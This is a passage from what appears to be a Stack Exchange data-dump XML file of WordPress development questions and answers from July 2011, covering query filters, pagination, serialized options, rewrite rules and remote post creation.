  <row Id="22212" PostTypeId="1" CreationDate="2011-07-06T20:55:29.470" Score="0" ViewCount="46" Body="&lt;p&gt;On the Reading Settings page I have clicked &lt;strong&gt;&lt;em&gt;Your latest posts&lt;/em&gt;&lt;/strong&gt; under &lt;strong&gt;&lt;em&gt;Front page displays&lt;/em&gt;&lt;/strong&gt;. I am wondering how I can filter the query that displays these posts before it gets to the loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried to use the &lt;strong&gt;pre_get_posts&lt;/strong&gt; filter but that does not seem to have access to this query. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anyway to modify the posts being displayed on the front/home page by editing functions.php and not messing around with template files?&lt;/p&gt;&#xA;" OwnerUserId="6798" LastActivityDate="2011-09-05T06:28:59.277" Title="Filter &quot;Your latest posts&quot;" Tags="&lt;filters&gt;" AnswerCount="2" />
  <row Id="22213" PostTypeId="2" ParentId="22180" CreationDate="2011-07-06T20:57:00.137" Score="2" ViewCount="" Body="&lt;p&gt;According &lt;a href=&quot;https://bugs.php.net/bug.php?id=49275&amp;amp;edit=1&quot; rel=&quot;nofollow&quot;&gt;to this ticket&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Cannot serialize object wrapping 3rd party library structs. Must &#xA;  serialize the xml (to a string) and store that to session and reload the &#xA;  xml when restoring from session&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;When you are storing object in transient it gets serialized and not all objects are capable of that correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Store textual XML data in transient instead.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-07-06T20:57:00.137" />
  <row Id="22214" PostTypeId="2" ParentId="22211" CreationDate="2011-07-06T21:02:24.593" Score="2" ViewCount="" Body="&lt;p&gt;The problem comes from the fact that, in order to display pages and their hierarchy, WP has to load all of them and then build the tree in memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, you are saved if you can convert most of those pages into one or several non-hierarchical custom post types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The permalink structure can be emulated.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-07-06T21:02:24.593" CommentCount="8" />
  <row Id="22215" PostTypeId="2" ParentId="22212" CreationDate="2011-07-06T21:04:29.820" Score="0" ViewCount="" Body="&lt;p&gt;How are you using it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('pre_get_posts', 'change_query');&#xA;&#xA;funnction change_query($query){&#xA;   // if(is_front_page())&#xA;   $query-&amp;gt;set('orderby', 'comment_count');&#xA;   // see: http://codex.wordpress.org/Class_Reference/WP_Query&#xA;&#xA;   return $query;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-07-06T21:04:29.820" CommentCount="1" />
  <row Id="22216" PostTypeId="2" ParentId="22210" CreationDate="2011-07-06T21:07:13.173" Score="0" ViewCount="" Body="&lt;p&gt;You might need to talk to your client's host. The problem could be a server configuration issue, or it could be a problem with how Softaculous configures WordPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A quick Google search doesn't turn up any obvious problems with using the core upgrade mechanism with Softaculous-installed WordPress. You might need to reference one of these Codex entries:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Updating_WordPress&quot; rel=&quot;nofollow&quot;&gt;Upgrading WordPress&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Changing_File_Permissions&quot; rel=&quot;nofollow&quot;&gt;Changing File Permissions&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-06T21:07:13.173" />
  <row Id="22217" PostTypeId="1" AcceptedAnswerId="22218" CreationDate="2011-07-06T21:16:15.113" Score="0" ViewCount="50" Body="&lt;p&gt;I'm trying to decontruct (and recreate) a serialized option value in wp_options called 'my_options'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I build the array to recreate this option_value that currently exists for 'my_options'?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;update_option('my_options', ?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After the update, the wp-options table would hold this value for 'my_options':&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;a:3:{s:12:&quot;my_widget-1&quot;;a:2:{ etc...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6620" LastEditorUserId="6620" LastEditorDisplayName="" LastEditDate="2011-07-06T21:56:54.253" LastActivityDate="2011-07-06T21:56:54.253" Title="Decontruct serialized data array from wp_options" Tags="&lt;plugin-development&gt;&lt;array&gt;&lt;wp-options&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="22218" PostTypeId="2" ParentId="22217" CreationDate="2011-07-06T21:29:08.367" Score="1" ViewCount="" Body="&lt;p&gt;You can't use it as-is because it will get double-serialized. So as per comment you unserialize it first and it will get serialized back when saved into option.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$array = unserialize( $stuff );&#xA;update_option('my_options', $array);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-07-06T21:29:08.367" CommentCount="3" />
  <row Id="22219" PostTypeId="1" CreationDate="2011-07-06T21:38:49.103" Score="0" ViewCount="58" Body="&lt;p&gt;How can i get a page ID from the Admin backend? I'm saving data into a metabox on a 'Page' post type, and I need to return that data on the page in another area. But $post-&gt;ID obviously dose not work... What will work? Thanks&lt;/p&gt;&#xA;" OwnerUserId="5140" LastActivityDate="2011-07-07T15:44:45.193" Title="Get Page ID from Backend" Tags="&lt;php&gt;&lt;admin&gt;" AnswerCount="4" CommentCount="1" />
  <row Id="22220" PostTypeId="1" CreationDate="2011-07-06T21:52:55.050" Score="0" ViewCount="54" Body="&lt;p&gt;I have this custom loop&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;                $pages = get_pages('child_of=' . $post-&amp;gt;ID . '&amp;amp;sort_column=post_date&amp;amp;sort_order=desc');&#xA;                foreach ($pages as $page):&#xA;&#xA;                    ?&amp;gt;&#xA;                    &amp;lt;div class=&quot;post&quot;&amp;gt;&#xA;                        &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php echo get_page_link($page-&amp;gt;ID) ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $page-&amp;gt;post_title ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;                        &amp;lt;div class=&quot;postDescr&quot;&amp;gt;&amp;lt;?php $page-&amp;gt;post_excerpt; ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;?php endforeach; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I paginate this loop?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="6452" LastActivityDate="2011-07-06T21:52:55.050" Title="Pagination for foreach loop" Tags="&lt;pagination&gt;&lt;custom-loop&gt;" CommentCount="1" />
  <row Id="22221" PostTypeId="1" CreationDate="2011-07-06T21:53:10.697" Score="1" ViewCount="83" Body="&lt;p&gt;I have user generated content that is created in a mobile app that is written to a SQL Database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to create a new site that allows this content to be viewed on a per user basis.  So if I go to&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://foo.com/user/TMC&quot; rel=&quot;nofollow&quot;&gt;http://foo.com/user/TMC&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It'll show all the content I've created in the mobile app.  i want to use wordpress to eliminate the need to recreated my own content publishing engine and get the  benefits of all of the wordpress ecosystem with plugins, templates, etc. Even basic things like &quot;search&quot; are free vs. needing to build it myself if I roll my own content publishing system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To accomplish this, I think I need to:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Be able to programmatically create wordpress posts.  I want code running on another server (e.g. Google App engine) to call onto my server hosting wordpress (e.g. regular shared hosting) and create a blog post for each time a user saves new content in my mobile app. In order to do this there needs to be an web service to do this or I write directly to the DB?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Be able to programmatically edit the blog post once it's saved, if the user edits the content in my mobile app.  Same need for a web serices&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Need to be able to have unique URLs for each user of my mobile app and show only their blog posts, but it's still all part of the same instance of wordpress. So &lt;a href=&quot;http://foo.com/users/UserA&quot; rel=&quot;nofollow&quot;&gt;http://foo.com/users/UserA&lt;/a&gt; vs. &lt;a href=&quot;http://foo.com/users/UserB&quot; rel=&quot;nofollow&quot;&gt;http://foo.com/users/UserB&lt;/a&gt;.  Both on same blog, each URL will show a filtered view of posts only done by that user.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I need to create real or fake user accounts. Since the content is really in my mobile app, my users have accounts with me and stored in SQL.  So when I push the content to Wordpress to create the content, it's not really the user that is doing it.  So if I wanted to push content for userA and userB, how would the user accounts get created? Or should I overload the use of tags and say set a tag as &lt;code&gt;user=UserA&lt;/code&gt; then when I need to accomplish what I describe in #3 above, I just use &lt;code&gt;/tags/user=UserA&lt;/code&gt;? (I'm clearly open to suggestions)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Is what I need even remotely possible or am I on drugs?&lt;/p&gt;&#xA;" OwnerUserId="6807" LastEditorUserId="6807" LastEditorDisplayName="" LastEditDate="2011-07-06T22:28:33.477" LastActivityDate="2011-07-06T22:53:11.597" Title="Possible to use wordpress as publishing platform but programmatically inject content?" Tags="&lt;api&gt;" AnswerCount="3" />
  <row Id="22222" PostTypeId="1" CreationDate="2011-07-06T21:59:46.853" Score="0" ViewCount="19" Body="&lt;p&gt;I've got a mu install on subdirectories:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;hubdomain.com/site1 &gt;&gt;&gt; site1.com&lt;/p&gt;&#xA;&#xA;&lt;p&gt;hubdomain.com/site2 &gt;&gt;&gt; site2.com&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Need to be able to do this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;somestring.site1.com &gt;&gt;&gt; should load my custom pluggin page like hubdomain.com/site1/custom/somestring&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Problem is, if I try to access somestring.hubdomain.com/site1 (or will be somestring.site1.com once live) it redirects to hubdomain.com&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously this isn't working. I'm trying to hijack stuff before wordpress gets a hold of it by some htaccess stuff but it doesn't help. Still keep ending up at the root hubdomain.com&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;A htaccess entry might look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{HTTP_HOST} !www.site1.com&#xA;RewriteCond %{HTTP_HOST} ^([A-Za-z0-9-]+)\.site1.com$&#xA;RewriteRule ^$ %{HTTP_HOST} [C]&#xA;RewriteRule ^([A-Za-z0-9-]+)\.site1.com$ http://hubdomain.com/site1/custom/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6808" LastActivityDate="2011-07-06T21:59:46.853" Title="MU subdir install + domain mapping.....needed: subdomain help" Tags="&lt;htaccess&gt;&lt;rewrite-rules&gt;&lt;subdomains&gt;" />
  <row Id="22224" PostTypeId="1" CreationDate="2011-07-06T22:08:45.830" Score="0" ViewCount="65" Body="&lt;p&gt;I have a problem with the pagination on my category pages. I have researched this for a few days now without any luck finding any solutions online. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the problem, when you select &quot;older&quot; or &quot;newer&quot; posts on the particular category page it takes you back to the home page of my site (but this url shows: /test/page/2) with the filtered posts of the home page displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't have specific category.php templates, but the theme has a pagination.php file and a wp page-navi.css.css hard coded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the pagination.php code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (get_option('paging_mode') == 'default') : ?&amp;gt;&#xA;&amp;lt;div class=&quot;pagination&quot;&amp;gt;&#xA;    &amp;lt;?php previous_posts_link(__('Newer')); ?&amp;gt;&#xA;    &amp;lt;?php next_posts_link(__('Older')); ?&amp;gt;&#xA;    &amp;lt;?php if (function_exists('wp_pagenavi')) wp_pagenavi(); ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php else : ?&amp;gt;&#xA;&amp;lt;div id=&quot;pagination&quot;&amp;gt;&amp;lt;?php next_posts_link(__('LOAD MORE')); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&#xA;    &#xA;        &#xA;        &#xA;        &#xA;    &#xA;    &#xA;    &#xA;&#xA;&#xA;&lt;p&gt;I 'm a loss on how to fix this. Both the Main Index Template and Archive.php file calls up this pagination file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help will be hugely appreciated. &lt;/p&gt;&#xA;" OwnerUserId="6810" LastEditorUserId="6810" LastEditorDisplayName="" LastEditDate="2011-07-06T23:11:19.973" LastActivityDate="2011-08-06T08:39:48.397" Title="Category pagination jumps back to Index page" Tags="&lt;categories&gt;&lt;pagination&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="22225" PostTypeId="2" ParentId="22221" CreationDate="2011-07-06T22:09:44.850" Score="1" ViewCount="" Body="&lt;p&gt;It's certainly possible. Just about everything WordPress does, including inserting users and posts, can be done programmatically using the WordPress API. As far as doing it remotely is concerned though, you may need to roll some of your own code to expose it to an external app. Also have a look at the &lt;a href=&quot;http://codex.wordpress.org/XML-RPC_Support&quot; rel=&quot;nofollow&quot;&gt;XML-RPC interface&lt;/a&gt;, which can be used to create posts remotely.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-07-06T22:09:44.850" />
  <row Id="22226" PostTypeId="2" ParentId="22221" CreationDate="2011-07-06T22:10:30.400" Score="1" ViewCount="" Body="&lt;p&gt;It sounds possible to me. I know plugins like &lt;a href=&quot;http://wordpress.org/extend/plugins/twitter-tools/&quot; rel=&quot;nofollow&quot;&gt;Twitter Tools&lt;/a&gt; can handle the first 2 points - pull in tweets and create new editable posts for each one - which is basically what you're trying to do for your own app? Maybe you could look at it and see how it handles the transition. It seems like assigning these posts to specific users would be possible as well. Best of luck to you!&lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2011-07-06T22:10:30.400" />
  <row Id="22227" PostTypeId="2" ParentId="22221" CreationDate="2011-07-06T22:18:20.083" Score="1" ViewCount="" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/XML-RPC_Support&quot; rel=&quot;nofollow&quot;&gt;XML-RPC&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/XML-RPC_Support&quot; rel=&quot;nofollow&quot;&gt;XML-RPC&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;WP already has this. They're called author archives: &lt;code&gt;/author/userA&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Using tags could work and as long as you don't use them for anything else, you can change the tag base from the admin to be 'users', for example.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="205" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-07-06T22:53:11.597" LastActivityDate="2011-07-06T22:53:11.597" CommentCount="3" />
  <row Id="22228" PostTypeId="1" AcceptedAnswerId="22243" CreationDate="2011-07-06T22:18:23.640" Score="0" ViewCount="49" Body="&lt;p&gt;writingyourwaytosuccess.com/blog&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Attempting to view a single post returns the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error: Call to undefined function atmosphere_posted_on() in&#xA;/home/content/46/7460046/html/wp-content/themes/atmosphere-2010/single.php on line 17&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="6063" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-07-07T03:42:45.717" LastActivityDate="2011-07-07T05:10:38.997" Title="single.php error" Tags="&lt;php&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="22230" PostTypeId="2" ParentId="22210" CreationDate="2011-07-06T22:48:58.263" Score="0" ViewCount="" Body="&lt;p&gt;Have you tried &lt;a href=&quot;http://codex.wordpress.org/Updating_WordPress#Manual_Update&quot; rel=&quot;nofollow&quot;&gt;manually updating Wordpress&lt;/a&gt;? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also try &lt;a href=&quot;http://codex.wordpress.org/Updating_WordPress#Step_1.5%3a_Remove_.maintenance_file&quot; rel=&quot;nofollow&quot;&gt;removing the .maintenance file&lt;/a&gt; from your WordPress directory.&lt;/p&gt;&#xA;" OwnerUserId="6809" LastEditorUserId="6809" LastEditorDisplayName="" LastEditDate="2011-07-06T23:29:59.897" LastActivityDate="2011-07-06T23:29:59.897" />
  <row Id="22231" PostTypeId="1" CreationDate="2011-07-06T23:00:09.487" Score="0" ViewCount="32" Body="&lt;p&gt;I am being told that the drop down menus at &lt;a href=&quot;http://www.advanced-healthcare.com&quot; rel=&quot;nofollow&quot;&gt;http://www.advanced-healthcare.com&lt;/a&gt; are not clickable. Seems to work okay in Firefox and in IE it seems a little sensitive. Can anyone else tell me if they are having any issues and what they suggest might be the problem? Z-index on the hover state?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="6814" LastActivityDate="2011-07-06T23:00:09.487" Title="Drop down menus and jqery sliders" Tags="&lt;jquery&gt;&lt;navigation&gt;&lt;navigation-bar&gt;" CommentCount="1" />
  <row Id="22232" PostTypeId="2" ParentId="21" CreationDate="2011-07-06T23:25:12.880" Score="0" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I realize I could do this by editing the theme files and changing the query parameters there, but I'd prefer to have easier access to a simple settings page.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In the interest of completeness, I found that &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;query_posts&lt;/code&gt;&lt;/a&gt; combined with &lt;code&gt;$query_string&lt;/code&gt; concatenation works well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I placed this code in &lt;code&gt;index.php&lt;/code&gt; (my theme doesn't have category.php) ...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;if (!is_front_page()) { &#xA;    query_posts($query_string . &quot;&amp;amp;posts_per_page=20&quot;); &#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course what we're doing here is modifying the internal query string of the loop, &lt;strong&gt;overriding the default number of posts per page&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works a treat for providing a smaller list of posts on the homepage where I am showing full posts, and a much larger list of posts everywhere else (categories, by date, etc) where I am only showing post summaries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, please do note that unlike the accepted answer, &lt;strong&gt;this will run the query twice&lt;/strong&gt;, so it is not as nice a solution.&lt;/p&gt;&#xA;" OwnerUserId="152" LastEditorUserId="152" LastEditorDisplayName="" LastEditDate="2011-07-06T23:35:08.970" LastActivityDate="2011-07-06T23:35:08.970" CommentCount="3" />
  <row Id="22233" PostTypeId="1" AcceptedAnswerId="22236" CreationDate="2011-07-06T23:44:13.037" Score="0" ViewCount="44" Body="&lt;p&gt;In the &lt;code&gt;functions.php&lt;/code&gt; of my plugin I've added the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function relativePathForUploads( $fileinfo )&#xA;{&#xA;    global $blog_id;&#xA;    $path = get_blog_option($blog_id,'siteurl');&#xA;&#xA;    $fileinfo['url'] = str_replace($path,'',$fileinfo['url']);&#xA;&#xA;    return $fileinfo;&#xA;}&#xA;&#xA;add_filter('wp_handle_upload', 'relativePathForUploads');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But in the error log I get the following message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;PHP Fatal error:  Call to undefined function get_blog_option()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Do I need to include something before I'm able to call &lt;code&gt;get_blog_option&lt;/code&gt;? If so, what?&lt;/p&gt;&#xA;" OwnerUserId="6616" LastActivityDate="2011-07-07T01:07:56.427" Title="Call to undefined function get_blog_option()" Tags="&lt;plugin-development&gt;&lt;functions&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="22234" PostTypeId="2" ParentId="22224" CreationDate="2011-07-06T23:56:11.107" Score="0" ViewCount="" Body="&lt;p&gt;Need more info to answer question. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the front end what is the url for the next and prevous links?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you tell us the url for your site where you are having the problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without a category.php page, it will be archive.php that is displaying the page and calling pagination.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume you are using pretty permalinks?&lt;/p&gt;&#xA;" OwnerUserId="6817" LastActivityDate="2011-07-06T23:56:11.107" CommentCount="7" />
  <row Id="22235" PostTypeId="2" ParentId="1512" CreationDate="2011-07-07T00:31:48.797" Score="0" ViewCount="" Body="&lt;p&gt;I can't comment yet, so I have to submit an answer. To map Joe Hoyle's answer on to query_posts, you'd do the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;query_posts('category__in=1');&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That'd would give you just the main category, without the subcategories. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not what the OP was asking for, but I found this via Google when searching for how to just show the main category, so others may find this too.&lt;/p&gt;&#xA;" OwnerUserId="2518" LastActivityDate="2011-07-07T00:31:48.797" />
  <row Id="22236" PostTypeId="2" ParentId="22233" CreationDate="2011-07-07T01:07:56.427" Score="4" ViewCount="" Body="&lt;p&gt;I think that function is only available in multi-user mode. Try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(is_multisite()){&#xA;  $path = get_blog_option($blog_id,'siteurl');&#xA;}else{&#xA;  $path = get_option('siteurl');`&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-07-07T01:07:56.427" CommentCount="1" />
  <row Id="22237" PostTypeId="1" CreationDate="2011-07-07T01:28:15.537" Score="2" ViewCount="165" Body="&lt;p&gt;I am using the below function to update the post meta from the front end. How can I add add best a textarea that updates &lt;code&gt;the_content()&lt;/code&gt; using &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_update_post&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_update_post()&lt;/code&gt;&lt;/a&gt;?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( isset( $_POST['albums'] ) &amp;amp;&amp;amp; wp_verify_nonce($_POST['albums'],'update_albums_postmeta') ) &#xA;    { //if nonce check succeeds.&#xA;        global $post;&#xA;        $postid = $post-&amp;gt;ID;&#xA;        $data = $_POST['priceone'];&#xA;              update_post_meta($postid,'_releasedate',$data);&#xA;        $data = $_POST['pricetwo'];&#xA;              update_post_meta($postid,'_amazonlink',$data);&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;-&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So this snippet is posting changes to the database, however when the page refreshes on-submit the old &lt;code&gt;the_content()&lt;/code&gt; is being shown. The post must manually be refreshed to see the changes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is my snippet malformed?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( isset( $_POST['drw_inventory'] ) &amp;amp;&amp;amp; wp_verify_nonce($_POST['drw_inventory'],'update_drw_postmeta') ) &#xA;    { //if nonce check succeeds.&#xA;        global $post;&#xA;        $data_content = $_POST['description'];&#xA;&#xA;        $my_post = array();&#xA;        $my_post['ID'] = $post-&amp;gt;ID;&#xA;        $my_post['post_content'] = $data_content;&#xA;        wp_update_post( $my_post );&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1057" LastEditorUserId="1057" LastEditorDisplayName="" LastEditDate="2011-07-07T03:02:26.127" LastActivityDate="2011-08-23T20:33:54.697" Title="wp_update_post() example... how to update the_content in a textarea?" Tags="&lt;wp-update-post&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="22238" PostTypeId="2" ParentId="22219" CreationDate="2011-07-07T02:28:39.243" Score="1" ViewCount="" Body="&lt;p&gt;Take a look &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_meta_box#Callback_args&quot; rel=&quot;nofollow&quot;&gt;this page from the codex&lt;/a&gt;. When creating a metabox, one of the options is a callback, which when called take a paramater for &lt;code&gt;$post&lt;/code&gt;, which is the same as calling &lt;code&gt;global $post&lt;/code&gt; ( as a side note, you can still do this in the backend Admin and get all the same variables. )&lt;/p&gt;&#xA;" OwnerUserId="105" LastActivityDate="2011-07-07T02:28:39.243" />
  <row Id="22240" PostTypeId="2" ParentId="22219" CreationDate="2011-07-07T03:38:56.920" Score="-1" ViewCount="" Body="&lt;p&gt;Maybe this plugin: &lt;a href=&quot;http://www.primothemes.com/post/product/wp-show-ids-plugin/&quot; rel=&quot;nofollow&quot;&gt;http://www.primothemes.com/post/product/wp-show-ids-plugin/&lt;/a&gt; is what you want.&lt;/p&gt;&#xA;" OwnerUserId="6430" LastActivityDate="2011-07-07T03:38:56.920" />
  <row Id="22241" PostTypeId="1" AcceptedAnswerId="22496" CreationDate="2011-07-07T04:11:16.017" Score="0" ViewCount="43" Body="&lt;p&gt;I use &lt;a href=&quot;http://wordpress.org/extend/plugins/chat/&quot; rel=&quot;nofollow&quot;&gt;the Chat plugin&lt;/a&gt;, but I found a bug when using it with the Twenty Eleven theme in WordPress 3.2. If you scroll, the chat window goes behind the header image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/f43Vc.jpg&quot; alt=&quot;Screenshot with chat window behind header image&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used this plugin with no problems up to WordPress 3.1.4, and it works find in 3.2 - except for this problem. I guess the &lt;code&gt;z-index&lt;/code&gt; is the reason, but I am not sure about that.&lt;/p&gt;&#xA;" OwnerUserId="5669" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-07-09T14:26:45.337" LastActivityDate="2011-07-09T14:42:57.803" Title="Chat window hiding behind Twenty Eleven header" Tags="&lt;plugin-chat&gt;&lt;theme-twenty-eleven&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="22243" PostTypeId="2" ParentId="22228" CreationDate="2011-07-07T05:10:38.997" Score="3" ViewCount="" Body="&lt;p&gt;Looks like you are using this theme: &lt;a href=&quot;http://wordpress.org/extend/themes/atmosphere-2010&quot; rel=&quot;nofollow&quot;&gt;Atmosphere 2010&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking through the theme files the function &lt;code&gt;atmosphere_posted_on&lt;/code&gt; is used a couple times in loop.php and single.php.  The &lt;code&gt;undefined function&lt;/code&gt; error indicates that the function does not exist which leads me to believe that your functions.php has been modified or is otherwise missing this function.  In the version I downloaded, the function looks like this in functions.php starting at line 281:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( ! function_exists( 'atmosphere_posted_on' ) ) :&#xA;&#xA;function atmosphere_posted_on() {&#xA;    printf( __( '&amp;lt;span class=&quot;%1$s&quot;&amp;gt;Posted on&amp;lt;/span&amp;gt; %2$s &amp;lt;span class=&quot;meta-sep&quot;&amp;gt;by&amp;lt;/span&amp;gt; %3$s', 'atmosphere' ),&#xA;    'meta-prep meta-prep-author',sprintf( '&amp;lt;a href=&quot;%1$s&quot; title=&quot;%2$s&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;span class=&quot;entry-date&quot;&amp;gt;%3$s&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;',&#xA;        get_permalink(),esc_attr( get_the_time() ),&#xA;        get_the_date()),&#xA;        sprintf( '&amp;lt;span class=&quot;author vcard&quot;&amp;gt;&amp;lt;a 